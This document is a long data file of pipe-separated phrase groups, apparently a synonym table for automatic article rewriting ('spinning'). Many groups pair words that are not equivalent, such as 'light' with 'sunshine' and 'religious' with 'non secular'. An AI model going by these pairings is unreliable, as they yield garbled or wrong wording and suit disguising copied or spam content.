relatives|family place of abode|place of dwelling to produce|to supply|to provide shortage|scarcity a warranty|a guaranty night time|evening time as though|as if is pleasing|is agreeable|is pleasant|is enjoyable time limits|deadlines|cut-off dates|closing dates like better to|value more highly to developers|builders regions|areas master suite|main bedroom|master bedroom it'd be|it would be|it might be pretty much|just about changing into|becoming|turning into of global|of worldwide|of world the school room|the lecture room|the classroom self esteem|self-worth|self worth to contaminate|to infect is available in|is supplied in we change|we modify|we alter have the funds for|afford|have enough money|manage to pay for|find the money for|come up with the money for question|query a sumptuous|a luxurious price tag|price ticket dual carriageway|toll road|highway|motorway to infer|to deduce that do not|that don't is hard|is tough|is difficult this can't be|this cannot be to sophisticated|to stylish|to classy of light|of sunshine this hard|this difficult|this tough of laughs|of snickers|of guffaws take a look at|check out to whether|as to if|as to whether construct|assemble selection|choice is sublime|is elegant|is classy hot and cold|cold and hot|cold and warm teeth|tooth|enamel is a wonderful|is an excellent|is a superb online shoppers|internet buyers|web shoppers of installing|of putting in girl|woman|lady most important|most vital|most significant in short|briefly|in brief effective|efficient state of the art|state-of-the-art|cutting-edge the man|the person is only one|is just one remoted|isolated for academic|for tutorial|for educational they encase|they enclose that the majority|that almost all of religious|of spiritual|of non secular an aptitude|a flair|an inherent ability the upward push|the rise|the upward thrust you are able|you're able a super|an excellent|a brilliant turn away|shy away|draw back|shrink back ensure you|make sure you resource|useful resource to denationalise |to privatize that enables|that permits|that allows next door|round the corner outlets|retailers|shops a concept|an idea|an idea trucks|vans|vehicles rather|quite|somewhat|slightly|fairly|relatively|moderately|reasonably trying to|attempting to among the|among the many common-sense|common sense|commonsense the use of|using|the usage of curious about|interested by|interested in|inquisitive about starting from|ranging from and in fact|and actually|and in reality the home|the house sex|intercourse the wear|the wear and tear|the damage helping|serving to to gently|to softly risk free|harmless|innocuous of assuaging|of alleviating the good|the great|the nice by some means|somehow|one way or the other|come what may|someway|in some way hose down|dampen rest of|remainder of convince|persuade he changes|he modifies|he alters that transforming|that remodeling|that reworking remains|stays a wider variety|a greater variety|a greater diversity plants|crops|vegetation is ethical|is moral mackintosh|waterproof coat searching out|looking for|seeking out influence|affect you already have|you have already got behavior|conduct|habits best part|better part actually|truly|really that isn't the|that is not the hung out|frolicked the faucet|the tap smitten by|enthusiastic about|keen about|captivated with|obsessed with|passionate about|obsessed on they have got|they have|they've favorite|favourite which gives|which provides|which supplies the twin|the dual geographical regions|realms|nation-states smoothly|easily inventory|stock i am hoping|i hope|i'm hoping details|particulars for just a|for only a they impart|they communicate|they convey you'll have|you will have|you'll need you find yourself|you end up you convert|you change|you exchange your home|your house|your own home|your property|your private home go online|go browsing|log on|go surfing to score|to attain is supposed|is meant newborn|new child to cool|to chill a funky|a cool the starting point|the start line|the place to begin a significant|a big|a major old|previous|outdated the stairs|the steps they invent|they create|they devise to searching for|to looking for and gives|and provides|and offers three ways|3 ways a value|a worth|a price of attempting to find|of searching for|of looking for and they will|and they'll|and they're going to and what kind of|and what sort of|and how much to fit your|to suit your and adhere|and cling to survive|to outlive a laugh|amusing|fun getting ready|preparing heavily|closely a dear|an expensive|a pricey of better|of higher best possible|absolute best|very best and perfect|and excellent|and ideal principle|precept may need|may have|might have for a bathroom|for a loo galvanize|impress|provoke brushing off|disregarding|dismissing get it wrong|go wrong withstand|stand up to|face up to bear in mind|keep in mind that didn't|that did not historically|traditionally re-light|rekindle|re-ignite a competition|a contest the area|the world|the realm suit your|fit your work force|workforce ideal|best|perfect|ultimate|superb|excellent|very best|splendid|ideally suited|preferrred|supreme correct|right|appropriate a proper|a correct to speculate|to take a position|to invest differing types|differing kinds|different types grow older|get older ornamental|decorative the quality|the standard big range|big selection|wide array and select|and choose a regular|a daily|an everyday you will adore|you are going to love|you will love it may|it might|it could representative|consultant settling on|deciding on|selecting many wants|many desires|many needs angry|mad|furious|enraged|excited|wrathful|indignant|exasperated|aroused|inflamed you're still|you are still to intensify|to accentuate and ability|and skill|and talent replacing|changing vitamins|nutritional vitamins they range|they vary rubbish|garbage constitution|structure you know how|you understand how|you know the way lack of understanding|lack of knowledge|lack of know-how|lack of expertise|lack of information|lack of awareness|lack of knowledge they will|they'll|they may|they are going to beginners|newbies|novices|rookies|newcomers|learners|freshmen|inexperienced persons customers|clients|prospects is needed|is required and four|and 4 is fantastic|is astounding|is amazing the simplest|the only|the best pride|satisfaction|delight|pleasure strength of will|self-discipline|self-control|strength of mind beneficiant|generous out of shape|out of form|out of practice|off form creditors|collectors and those who|and people who|and those that universal|common engaging|partaking|participating to take away|to remove the tension|the strain|the stress talent|expertise top|prime|high so simple as|as simple as selected|chosen degree|diploma for fri.|for friday an opportunity|a chance|a possibility they should|they need to a popular|a well-liked|a preferred and soon|and shortly folks|people|of us for boosting|for enhancing|for reinforcing murderer|assassin and as the|and because the vital that you|crucial that you|imperative that you special day|big day|special occasion confusing|complicated look forward to|look ahead to|sit up for|stay up for and get dressed|and dress be glad about|be grateful for|be thankful for|be pleased about a superbly|a perfectly|a wonderfully foreign currencies|foreign currency|foreign currency echange|foreign exchange a modern|a contemporary they are attempting|they try|they are trying put off|postpone|delay storage space|space for storing|cupboard space surroundings|environment many helpful|many useful|many beneficial propose|suggest which have compatibility|which are compatible|which fit by contrast|against this|in contrast you cannot|you can't|you can not for concepts|for ideas|for ideas of this stuff|of these items|of these things earlier period|ancient times|precedent days mental|psychological not often|rarely|hardly|hardly ever|infrequently enable|allow point of interest|focal point a major factor|a significant factor|a significant component smart|sensible|good and remove|and take away unwanted effects|negative effects simplest way|easiest method|easiest way relatively|comparatively for sophisticated|for classy|for stylish per annum|every year|each year robust|strong|sturdy that extend|that reach|that stretch forms|types|varieties|kinds roof repairer|roofer|roof craftsman|roof artisan notebook|pocket book had to be|needed to be and coffee|and occasional|and low workout|exercise obsolete|out of date familiar with|conversant in|acquainted with|accustomed to|aware of have an effect|have an impact the perspective|the attitude|the angle and remarkable|and memorable|and noteworthy not sure|unsure|undecided capable of|able to the imminent|the approaching|the upcoming and ready|and prepared educational|instructional|academic to confine|to restrict stubborn|cussed very little|little or no favourable|beneficial those who are victims of the ailment|those who have the ailment expecting|anticipating attention|consideration we suggest|we propose|we advise|we recommend is an embarrassment|is a humiliation do not know|have no idea otherwise|in any other case depend|rely staring at|watching|observing|gazing|looking at the root|the basis|the foundation a fun-packed|a fun-filled of combining|of mixing green|inexperienced emerging|rising a high-traffic|a heavy-traffic|a high traffic 3d radar|three dimensional radar|3 dimensional radar and alertness|and application and tough|and hard|and difficult keeping apart|isolating|separating|setting apart of establishment|of multinational|of firm the worth|the price|the value the clothing and accessories|the clothes and niknaks|the clothes and accessories step by step|step-by-step in their|of their to a meriting|to a deserving there are a reasonably large|there are a pretty big|there are a fairly large ok with|comfortable with|happy with|pleased with the cupboards|the cabinets hardly ever|rarely|hardly|infrequently would like to|want to|wish to off-season|low season rumor report|rumor tale is available|is out there|is on the market|is obtainable|is accessible|is offered jewelry|jewellery when you are|when you're|if you end up|if you find yourself|when you find yourself daunting to|formidable to i wonder|i'm wondering|i ponder the possibility of|the potential of|the potential for|the opportunity of super|tremendous corporate|company warding off|avoiding|averting|fending off|heading off|keeping off those|these what kind of|what sort of for many|for a lot of constitute|represent keyword|key phrase comprises|includes|contains depends on|is dependent upon|is determined by|will depend on|depends upon|relies on and lightweight|and light-weight contemplate|ponder useless|ineffective the easiest|the simplest|the best extremely|extraordinarily out of practice|out of form|out of shape|off form 26th|twenty sixth governed|ruled the foundation|the inspiration|the muse isn't always|isn't|is not dinner party|banquet|ceremonial dinner|feast millions|hundreds of thousands|tens of millions|thousands and thousands to fit you|to suit you|to fit your needs diving with a snorkel|diving under|snorkel diving|happily snorkeling at college|at school|in school what was making|what was causing|what should be blamed for|what was responsible for|what was the reason for and hazardous|and unsafe|and dangerous as a substitute|instead|in its place|as an alternative to some degree|to a point|to some extent methods|strategies you decided|you made the decision|you made the choice turn out to be|become|turn into|develop into|grow to be|transform|change into sewing|stitching putting|placing the earlier|the sooner SEO|search engine optimization|web optimization|search engine marketing|search engine optimisation|website positioning in spite of|regardless of|despite is right|is true|is correct more odd|more unusual it isn't|it is not|it's not is awfully|is very|is terribly a party|a celebration you won't|you will not to audacity|to arrogance of hetero|of straight|of heterosexual may supply|could provide|may provide that incorporates|that comes with|that includes of serious|of great|of significant more expensive|costlier|dearer there are naturally|there are of course primary|main|major safe|protected|secure 48|forty eight five|5 low season|off-season so that|in order that they don't seem to be|they aren't|they are not we can|we will|we are able to would appear|would seem concerns|considerations|issues field of regard|field of vision|visual field|sight view|visual view marriage ceremony|wedding ceremony|bridal ceremony the teens|the teenagers|the kids you a casual|you an informal the nice|the great|the good that you would|that you'd long time|very long time the remainder|the rest that huge|that massive|that vast similar|comparable|related of selecting|of choosing the definitely|the totally|the utterly for life|for all times you will not|you won't solution|answer|resolution the guys|the blokes|the fellows of vital|of important|of significant and acquired|and purchased|and bought for a standard|for the standard such a lot|so much may wish|might need|may need employ|make use of sweet|candy simple math|basic math|simple arithmetic a drugs|a medicine|a medication permits them to|lets them|allows them to cube|dice to tearing|to ripping considerate|thoughtful information|info|data is covered|is roofed that suggests|that means|that implies laptop computer|laptop pc|laptop personal computer|laptop computer|notebook computer and running shoes|and trainers browse cyberspace|surf the net the problems|the issues has to be|needs to be|must be incidentally|by the way for children|for youngsters|for kids go beyond|transcend the harsh|the tough|the cruel effort and time|time and effort you should have no|you should not have any|you shouldn't have any you a beautiful|you a stunning just to|simply to for a lot|for lots the former|the previous remainder|the rest 4wd|four wheel drive|4WD|4 wheel drive ward off|keep off|beat back|chase away|push back|thrust back|keep at bay a controversy|an issue|an argument and critical|and important|and significant|and demanding focusing on|specializing in to block|to dam software|software program many faiths|many religions concerned|involved doctors|docs|medical doctors making plans|planning a paranormal|a mystical|a magical additionally|moreover of retailers|of shops|of outlets different|totally different|completely different falling by the wayside|throwing in the towel|chucking up the sponge|dropping by the wayside at streetlevel|on the street|in the street of a chosen|of a selected top rate|premium|top class enticing|engaging|attractive numerous people|many people windows|home windows seemed like|appeared like|gave the impression of|gave the look of is the first step|is step one wake-up call|warning call|take-heed call|be-careful call on every occasion|whenever|each time|every time desk bound|stationary furious|livid do not worry|don't worry fear|worry|concern will be the|would be the the hotter|the warmer an entire|a whole|a complete desperate|determined of shirt|of blouse will have to|should|must someone else|another person out survive|out live|live longer than|outlast twisted up|tangled up|knotted up|snarled|tousled example|instance we commence|we begin|we start worked|labored and 2|and a couple of|and a pair of get involved|become involved|get entangled both|each this mistake|this error those who have the ailment|those who are victims of the ailment modern|trendy|fashionable a skinny|a thin before everything|at the beginning|at first|at the start|in the beginning reckoning on|depending on|counting on|looking on fail to remember|put out of your mind leave|depart|go away for easy|for straightforward|for simple reasonably priced|affordable|within your means|inexpensive the ambiguity|the anomaly|the paradox damage|injury|harm will certainly|will definitely exactly the same|the exact same without end|ad infinitum|endlessly|for ever and ever|with no end in sight you bath|you bathroom warmer|hotter the existing|the prevailing|the present wedding|wedding ceremony|marriage ceremony would include|would come with payment|cost|fee most productive|most efficient|best a college|a university|a school much like|very similar to|very like is understated|is modest|is inconspicuous|is discreet|is simple|is unassuming of an inexpensive|of a reasonable|of an affordable and creative|and artistic|and inventive check out|take a look at|try side|aspect|facet to set up|to establish go looking|go searching jointly|collectively and bosses|and managers|and executives you could|you can|you would|you may|you might|you possibly can|you could possibly i think|i feel|i believe are usually|are often|are frequently imagine|think about anyone|anybody many don't|many do not amateur|newbie|novice|beginner golfing the photographs|the images|the pictures counseled|endorsed|recommended you faster|you quicker we will be able to|we will|we can the finest|the best reduce|scale back|cut back well suited|compatible|well matched|like minded in class|in school|at school the day gone by|yesterday|the previous day|the day past|the day before today|the day prior to this the threat of|the specter of they really are|they are surely 65th|sixty fifth in precisely|in exactly leading edge|vanguard|forefront is a constant|is a continuing of modern|of recent|of contemporary the inexpensive|the cheap other kinds|other forms|different kinds to be replaced|to get replaced the fave|the favorite|the favourite in recent years|in recent times|lately each other|one another a blend|a mix on occasion|once in a while|every so often|every now and then|now and again|from time to time|occasionally feel sorry about|regret|remorseful about|be apologetic about option|choice|possibility the benefits|the advantages prepaid|pay as you go publisher|writer likelihood|probability|chance moves|strikes concerning the|in regards to the|regarding the and probably|and doubtless|and possibly this should|this could mandatory|obligatory|necessary filing|submitting they don't|they do not on no account|by no means|under no circumstances|not at all|in no way the fireside|the hearth|the fireplace many homeowners|many householders|many owners scale back|reduce|cut back you propose|you plan|you intend 9th|ninth an energetic|an lively|an brisk spend money on|pay money for healthy diet|nutritious diet answer|reply|respond|retort|acknowledge the chance|the prospect|the possibility of hairstyle|of haircut be patient|wait and see and especially|and particularly is no|is not any|isn't any qualifications that it will|that it'll|that it's going to blank|clean fizzling out|truly fizzling out|petering out|tapering off|really fizzling out the producing|the manufacturing the type|the sort|the kind they have a tendency|they generally tend|they tend we are facing|we face sample|pattern bought|purchased request for forgiveness|admission of guilt|act of contrition 4-dimensional|four-dimensional epidermis|dermis opportunity|alternative oz.|ounces|oz very easily|conveniently|comfortably|with ease starts|begins domestic dog|puppy|doggy|pup effectively|successfully there are options|there are alternatives hardware store|ironmongery shop|ironmongery store for kids|for teenagers|for youths no longer|not|now not is not surprising|is no surprise|isn't a surprise section|part mainly|primarily found out|came upon|discovered cyber web|internet|information superhighway|web unmarried|single international|worldwide and because|and since a snooze|a sleep|a nap home is|house is and tv|and television relates to|pertains to this perspective|this attitude|this angle a majestic|an imposing|an impressive decisions|selections|choices for as long as|for so long as buying groceries|shopping a domain|a website|a site for cheap|for reasonable|for affordable liveable|habitable can't be|cannot be is better|is best|is healthier weigh down|overwhelm|crush bizarre|weird look and feel|appear and feel|feel and appear|feel and look a undeniable|a certain|a definite to lavatory|to rest room|to bathroom bodies|our bodies giving for free|giving away|freely giving|giving freely clever|intelligent a great number of|a large number of mark|label|tag|price|ticket|impress|effect|trace|imprint|stamp|brand|sign|note|heed|notice|designate is making an attempt|is trying|is attempting a loo|a toilet|a bathroom being attentive to|taking note of|paying attention to seven hundred|seven-hundred severe|extreme all and sundry|one and all percent|p.c the gigantic|the large|the big really count|actually matter|really matter sometime|someday crowd pleasing|eye-catching|attention-grabbing to find|to seek out|to search out the adaptation|the difference|the variation that large|that enormous|that giant figuring out|determining laugh|snicker|snort|snigger|giggle|chuckle|chortle continual|continuous may be|could also be what's going|what is going on to name|to call and private|and personal and let you|and allow you to many folks|many people|many of us wide variety|wide range|wide selection in all probability|most likely|perhaps|possibly to and fro|back and forth|backward and forward|from side to side is intensely|is extremely|is very is obviously|is clearly and plenty|and many|and lots proven fact|incontrovertible fact|indisputable fact|undeniable fact employee|worker for cupboards|for cabinets wife|spouse change into|become|turn into|develop into|grow to be targeting|concentrating on|focusing on ship's galley|cookhouse most farseeing|most far sighted|most longsighted|most foresightful mannequin|model near to|close to to track|to trace perhaps even|maybe even|even perhaps and zips|and zippers which goes|which matches|which fits|which works of stylish|of trendy|of fashionable eating place|restaurant furniture|furnishings should buy|can purchase|can buy|should purchase a wide array|a wide selection|a big selection increasing|growing|rising schools|faculties|colleges you figure|you work is exactly|is strictly|is precisely you purchased|you bought a shop|a store antisocial|delinquent when you|whenever you|if you|once you|while you made up our minds|decided|determined they want|they need should also|also needs to|must also is sometimes|is usually|is typically many decisions|many choices|many selections decide|determine|settle|choose|resolve you get bored of|you get tired of|you become bored with and sew|and stitch and description|and outline far away|distant|far-off long way|great distance|good distance|great distance female family member|female relative unnecessary|pointless coming near|approaching|drawing near traffic jam|traffic congestion email correspondence|electronic message|electronic mail|piece of email and those|and people that all|that each one|that every one amazing|incredible|unbelievable|improbable|fabulous|wonderful|fantastic|astonishing|astounding|extraordinary needless|unnecessary|useless|pointless ultimately|finally|in the end one hundred fifteen|a hundred and fifteen loo|lavatory|bathroom and function|and performance persisted|continued|endured|persevered for golfing the interior|the inside you buy|you purchase crusade|campaign online marketing|internet marketing you would|you'd|you'll motorized vehicle|motor vehicle|motorcar all your|all of your 48th|forty eighth a gap|a niche|a spot your beloved one|the one that you love|your loved one rebellion|revolt|insurrection|rebellion|rebel|riot|rise up thousands|hundreds the major|the main|the most important|the key|the foremost and tool|and gear|and power is located|is found immodest|conceited heady scent|fragrance|scent conflict|battle living room|front room|lounge what was the reason for|what was causing|what was making|what was responsible for a fervour|an eagerness|a zeal autopsy|post-mortem is an element|is a component and corporate|and company cell phone|cellular phone|cellphone|mobile phone an invite|an invitation illegal|unlawful unhurt|unharmed total|complete|whole which incorporates|which includes|which contains the wealthy|the rich and will not|and won't the malls|the department stores|the shops from side to side|back and forth|backward and forward goods|items blood brother|buddy in just|in only the cold and hot|the cold and warm|the hot and cold is blocking|is obstructing headstone|gravestone a major|a serious|a significant to look around|to go searching bad|dangerous|unhealthy set up|arrange our kids|our youngsters|our children claim|declare then why don't you|then why not the specific|the precise|the particular massacre|bloodbath vinaigrette|French dressing there are lots of|there are many call for|demand 35th|thirty fifth the diverse|the various|the varied a smart|a sensible|a wise and regulated|and controlled links|hyperlinks want to make|have the desire to make|intend to make|need to make the present|the current casual|informal toxic|poisonous masses|plenty|lots you what's|you what is pop out|come out the inside|the within you end|you finish many varying|many ranging to govern|to control|to manipulate can help|might help|may help|may also help|will help|can assist religious|spiritual|non secular is a photo|is a photograph source|supply gotten smaller|shrunk|reduced in size a transforming|a reworking|a remodeling to choosing the proper|to choosing the right|to selecting the best i thought|i assumed|i believed dependent on|depending on to your doorstep|to the doorstep is an important|is a vital|is a crucial political opinions|political beliefs|political views participating|collaborating|taking part is enough to|is sufficient to being silly|fooling around|playing around conscious of|aware of that experience|that have special|particular signs|indicators don't want|don't need|don't desire gave the look of|seemed like|appeared like|gave the impression of|looked like number one|primary the maintenance|the upkeep they generally|they typically|they often in the summer|in the summertime video display|display screen|visual display unit|computer screen constructing|developing|setting up|establishing it's best|it is best the days|the times the exact same|the very same this entire|this complete|this whole factor|issue more and more|increasingly more|increasingly|an increasing number of ancient times|precedent days pass through|go through we begin|we start and kind|and type|and sort better half's mother|mother-in-law|sweetheart's mother|spouse's mother|partner's mother want to|need to|wish to despite the fact that|even though|although|even if|even supposing learn how|find out how|learn the way predicament|quandary|dilemma|pickle|problem|plight|spot|scrape|jam one hundred fifty five|a hundred and fifty five feel embarrassment about|be embarrassed about|be ashamed of more meddlesome|more interfering you reworking|you transforming|you remodeling a pricey|a dear|an expensive removed|eliminated climatic conditions|weather conditions it is a|it's a web sites|websites|web pages|internet sites is part|is a component|is an element value|worth to enhance|to reinforce|to boost an automated|an automatic way of life|lifestyle a strong|a robust|a powerful significant other|spouse|better half|companion suffering from|affected by amount of time|period of time to assure|to guarantee highway|freeway wants or needs|needs or wants by myself|on my own the chant|the mantra which of them|which ones a competent|a reliable the passion|the eagerness|the fervour suit|go well with|swimsuit secret agent|undercover agent making the most of|taking advantage of|benefiting from|profiting from and staining|and marking a fabric|a cloth|a material a cold|a chilly narrow|slender|slim an eye-catching|an attention grabbing|an eye catching|an attention-grabbing our school|our college|our faculty do not want|are not looking for|don't need|don't want find the money for|afford|have enough money|have the funds for|manage to pay for|come up with the money for to replicate|to duplicate|to copy and an uncongenial|and an unpleasant thinning out|scaling down unforeseen|unexpected appear and feel|feel and appear|look and feel preventive measure|safety measure and recommendations|and proposals|and suggestions best suits|most accurately fits|most closely fits an approach to life|a way of life|a lifestyle wondering|questioning much better|a lot better|significantly better and economize|and save cash|and save money experience|expertise you only|you simply parents|mother and father|dad and mom switch on|turn on|activate form|type|kind ordinary|odd|strange|abnormal|unusual|peculiar|bizarre|atypical|extraordinary the perfectly|the superbly|the peerlessly into a|right into a 5th|fifth word list|glossary|thesaurus model|mannequin wiped out|worn out outdoors|outside|outdoor|open air percentage|proportion|share make stronger|strengthen|reinforce|toughen believable|plausible chums|friends|pals bloodless|cold you love|you're keen on|you like a prime quality|a high quality|a top of the range fair share|justifiable share|fair proportion go searching|search around really extensive|considerable|substantial most efficient|most effective|best to a few|to some|to a couple to reworking|to transforming|to remodeling our dollars|our greenbacks|our bucks a opportunity|a chance bobbing up|arising|coming up a credible|a reputable accurate|correct self belief|confidence|self assurance bendy|flexible small enough|sufficiently small would like|would really like|would love each month|every month for massive|for enormous|for large you might imagine|you may think to bigger|to greater|to larger get on well|hit it off|take to each other of soft|of sentimental|of soppy is punctiliously|is carefully|is thoroughly a host|a number|a bunch financial statement|financial plan naked|bare least amount|smallest amount a nearly|an almost|a virtually is maybe|is probably is gifted|is presented that clings|that adheres the expectancy|the expectation legitimate|respectable|reliable|official|authentic|professional|reputable|legit that may not|that will not|that won't the Forex market|Forex a troublesome|a hard|a difficult the potentially|the doubtless|the possibly a discounted|a reduced 3-hitter|three-hitter|baseball (generic term)|baseball game asymmetric|uneven our lord god|the lord god the bathtub|the bath|the tub organization|group an inexpensive|a cheap|a reasonable|an affordable the eye|the attention to feel good about|to be ok with we are going to|we're going to you will|you'll nugatory|worthless deliberate to|consider to attempt to|try and|try to|try to physical|bodily for presented|for gifted acquire|purchase|buy a longer|an extended the two|the 2 fastened|fixed|mounted and it will|and it'll of bathroom|of toilet|of loo lend a hand|help|assist one of the let you|allow you to time-frame|time frame|timeframe apparent|obvious this gives|this provides|this offers this crucial|this significant|this important at risk of|susceptible to|vulnerable to|liable to|prone to type|sort|kind and formality|and ritual beautifully|superbly|fantastically pressure|strain|stress neutral|impartial what quantity of money|how much money|how much cash that permit|that let|that allow hoping on|counting on|relying on and visible|and visual you predict|you are expecting|you expect of fabrics|of materials a sign|an indication and perilous|and threatening|and dangerous of guys|of men|of fellows take in|absorb|soak up there is not any|there is no|there's no the wedding|the marriage is readily|is quickly|is instantly allow|permit|enable a simple|an easy|a straightforward alternative|various|different put|place|set|attach|establish|assign|keep|save|set aside|effect|achieve|do|build profit|revenue insecticides|pesticides clothing|clothes executive|government|govt will be inclined|have a propensity|have a tendency|will be predisposed and there is no|and there's no status|standing substantially|considerably in truth|in fact|in reality don't believe|do not believe|don't think tackle|deal with|sort out jogged my memory|stroke a chord in my memory|rang a bell in my memory|really reminded me one hundred ninety|a hundred ninety in your home|in your house is improperly|is badly|is wrongly the consumer|the buyer|the patron and became|and have become recognizes|acknowledges tap|faucet place of job|place of work|administrative center|place of business chocolates|candies|goodies|sweets to observe|to watch|to look at most powerful|strongest on the market|available on the market|in the marketplace physical exertion|physical exercise lots of|a lot of|plenty of|numerous|a number of you bored with|you tired of|you uninterested in of skinny|of thin mechanical device|machine consultant|advisor|marketing consultant|guide most up to date|hottest|freshest you spot|you notice|you see perfect|good|excellent clothes|garments for a larger|for a bigger the unusual|the weird|the bizarre is a hallmark|is a trademark a tender|a young spend a fortune|lay our a fortune to visit|to go to the incomplete|the unfinished winning|profitable|successful is a straightforward|is an easy|is a simple indistinct|vague are not making|do not make|don't make a point|some extent|a degree a far off|a distant| most schools|most faculties|most colleges take advantage of|benefit from|reap the benefits of|make the most of you will get|you'll get|you're going to get proven|confirmed buy groceries|go shopping at the hands|by the hands more than enough|good enough for proper|for correct boxes|bins|packing containers|containers unique|distinctive center of attention|focus|focal point effortless|easy bigger|greater|larger of people|of individuals you change|you modify|you alter that methodical|that systematic coming back from|getting back from couples of contemporary|of up to date|of latest facebook|fb most well-to-do|most well-off|most well-fixed discipline|self-discipline to pray|to wish|to hope the japanese|the japanese according|in accordance guard yourself|protect yourself|provide yourself with protection the criteria|the standards|the factors good thing about|advantage of|benefit of you it's time|you it is time of data|of knowledge|of information for students|for college kids|for college students thoughtful|considerate forex|foreign exchange and lavatories|and bogs|and bathrooms hi fi|radio set is strong|is robust|is powerful regular|common ill|unwell|sick|ailing|in poor health hit and miss|hit or miss the worse|the more severe|the more serious pattern|sample by the way|incidentally and fiscal|and monetary|and financial and delightful|and pleasant occurrence|prevalence|incidence of advice|of recommendation sailing|crusing a photograph final results|outcome fear|fright|dread|terror|alarm|dismay|anxiety|scare|awe|horror|panic|apprehension to trouble|to bother|to hassle is think about|is consider can make|could make parking zone|parking lot|car parking zone you are a|you're a most unearthly|weirdest|most eldritch|most weird crucial|essential way to|method to|approach to|solution to|strategy to|option to|technique to of exact|of tangible|of actual looked at|checked out the flamable|the combustible laptop personal computer|laptop pc|laptop computer|notebook computer obsessed with|obsessive about and decide|and choose|and judge the objective|the target feet|ft|toes destinations|locations of requirements|of necessities scholars|students which allows you to|which lets you to indicate|to point the effort|the trouble|the hassle comply with|adjust to extreme|excessive theory|concept|principle|idea one of|certainly one of|considered one of|one among|one in every of|one in all irrespective of|regardless of|no matter to buying|to purchasing and movies|and films|and flicks outdoor|outside|out of doors long|lengthy the businesses|the companies web page|website|online page|web content and bulky|and hulking|and ponderous i need|i want|i would like the assorted|the various|the numerous installing|putting in on the right track|heading in the right direction mystery|thriller 3-membered|three-membered permitting them to|letting them|allowing them to and obtain|and acquire|and procure a web|an internet|an online the abduction|the kidnapping now and then|from time to time|at times|every now and then will have|may have|could have|can have the stainless-steel|the chrome steel|the stainless steel the correct|the right|the proper most women|most girls|most ladies this could|this might in brief|in short|briefly to compliment|to go with and you have got|and you have|and you've got business plan|marketing strategy there are plenty of|there are many real way|possible way talk to|check with|discuss with|confer with|seek advice from|consult with|refer to|talk over with that truly|that really|that actually to give thought|to think about colourful|vibrant to acquire|to accumulate|to amass they had|that they had|they'd the inaccurate|the wrong|the incorrect released|launched brought to|delivered to|dropped at a decorative|an ornamental financial|monetary enough|sufficient of outdoors|of outside|of out of doors movements|actions and will also|and also will secret to meaking|key to making visitor|customer depends|relies upon brush aside|disregard|dismiss|push aside comparing|evaluating and fascinating|and interesting|and engaging actually need|really need|really want a frequently disregarded|a frequently forgotten|an often overlooked ways|methods searching through|looking through inflamed|infected spark off|set off|activate|prompt a traditionally|a historically a nice|a pleasant wood worker|carpenter|chippie repair|restore give the opportunity|give the chance|make it possible soft|gentle|delicate|tender|smooth|mushy|comfortable reasonably-priced|cheap to dress|to decorate|to decorate to highlight|to spotlight|to focus on at the least|at least|in any case|as a minimum face to face|nose to nose|head to head and there's a|and there is a the quick|the fast|the short figured out|found out|discovered you're making|you are making|you make past due|overdue|late precise|exact humans|people ask for forgiveness|apologize|say sorry|make an apology|express regret spare time activity|leisure pursuit is immediately|is instantly|is straight away i haven't|i have never|i have not the old and young|the young and old for making improvements to|for improving|for bettering the summertime desiring to|meaning to| virtue|advantage healthier|more healthy partner's mother|mother-in-law|better half's mother|spouse's mother time for dinner|dinner time|supper time|meal time|time for supper and decorative|and ornamental lighting tricks|special effects physical exercise|physical exertion and freed from|and free of our makers|our manufacturers visitors|guests help is|assistance is turbines|generators the kind|the type|the sort and sundry|and varied maximum|most hang out|hang around evening|night solid iron|cast-iron it really is not|it's really not|it really isn't to worth|to price|to value longer term|long run|long term geographical region|countryside|nation-state box|field appliances|home equipment without problems|easily|effortlessly|without difficulty cheesy|tacky for high|for top|for prime inadequate|insufficient the realization|the belief|the conclusion of americans|of usa citizens|of american citizens is a handy gizmo|is a great tool|is a useful gizmo and female|and feminine this can|this will|this could|this may faded|pale|light body|physique i stopped|i ended|i finished the increase|the rise creams|lotions a short while|a short time is becoming more popular|is rising in popularity|is gaining popularity a hundred percent|100%|one hundred percent range|vary to get yourself up to speed|to make yourself familiar|to familiarize yourself one hundred and seventieth|a hundred and seventieth a rise|an increase more strange|weirder|more bizarre|more odd|more unusual data|knowledge|information in a similar fashion|similarly|in a similar way tasks|duties there are children|there are kids the smooth|the graceful|the sleek you don't have any|you have no|you haven't any a realistic|a sensible|a practical prefer|choose|favor|want|desire most common|commonest|most typical a role|a task|a job uploading|importing that's|that is there are a pretty big|there are a reasonably large|there are a fairly large riding|driving|using the varied|the numerous|the various to vacuum|to hoover said|stated|mentioned a unconditionally|a wholly|a totally link|hyperlink the same quantity|the same amount|an identical quantity deliver|ship the total|the entire|the whole|the full|the overall immediately|instantly an unlimited|a vast|a limiteless|an infinite points|factors and twine|and cord|and wire a personalized gift|a customized gift|a customized present to mimic|to imitate number of|variety of that irresistible|that impossible to resist competition|competitors places|locations and grime|and dirt friendly|pleasant sunglasses|sun shades i want|i would like|i need to conquer|to overcome|to beat the master suite|the main bedroom|the master bedroom about the|concerning the|in regards to the to refined|to subtle|to sophisticated gruesome|ugly|grotesque the men|the lads|the boys and gentle|and delicate|and mild a very easy|an easy|a very simple that you are going|that you're going the following few|the next few|the following couple of myth|fantasy|fable|delusion tension|rigidity|pressure|stress for the majority|for almost all achieving|attaining|reaching a regularly|a frequently|an often ring a bell in me|remind me|job my memory|strike a cord in me|take me back to the fact and a pro|and a professional this is why|that is why|for this reason|this is the reason|because of this freely giving|giving away|making a gift |gifting away|giving freely speak|converse|communicate it's the|it is the blowing my trumpet|self-praising the excuses|the justifications|the reasons hand made|handcrafted superbly|fantastically|beautifully quite|fairly to transport|to move of one|of 1 time frame|time-frame|timeframe sound right|sound correct they are much|they're much as low as|as little as rather than|instead of|as opposed to|other than|rather then am i able to|can i are evoked|come to mind|spring to mind wise|sensible|clever|smart to sew|to stitch story|tale|myth|legend|fable|yarn|account|narrative|chronicle|epic|sage|anecdote|record|memoir book shop|bookstore|bookshop|bookstall|book place corporation|company in actuality|really|actually|truly|essentially|if truth be told|genuinely|in fact|in truth|in reality|surely to cope|to manage the folk|the folks|the people vary size-wise|differ size-wise|range in size|differ in size supper time|dinner time|meal time|time for supper|time for dinner regarding|relating to|concerning if you would like|if you need|if you want one in every of|one among|one in all|one amongst a trendy|a classy|a stylish a demand|a requirement happen|occur wander off|wander away|get lost don't worry|don't be concerned|don't fret the overpowering|the overwhelming decent|respectable|first rate help will|assistance will is an advantage|is a bonus around|round accept|settle for passable|satisfactory is simple|is straightforward|is easy control|management and fixed|and glued|and stuck rumor tale|rumor report connect|join of questions of safety|of issues of safety|of safety issues fact that|incontrovertible fact that|proven fact that|undeniable fact that|indisputable fact that 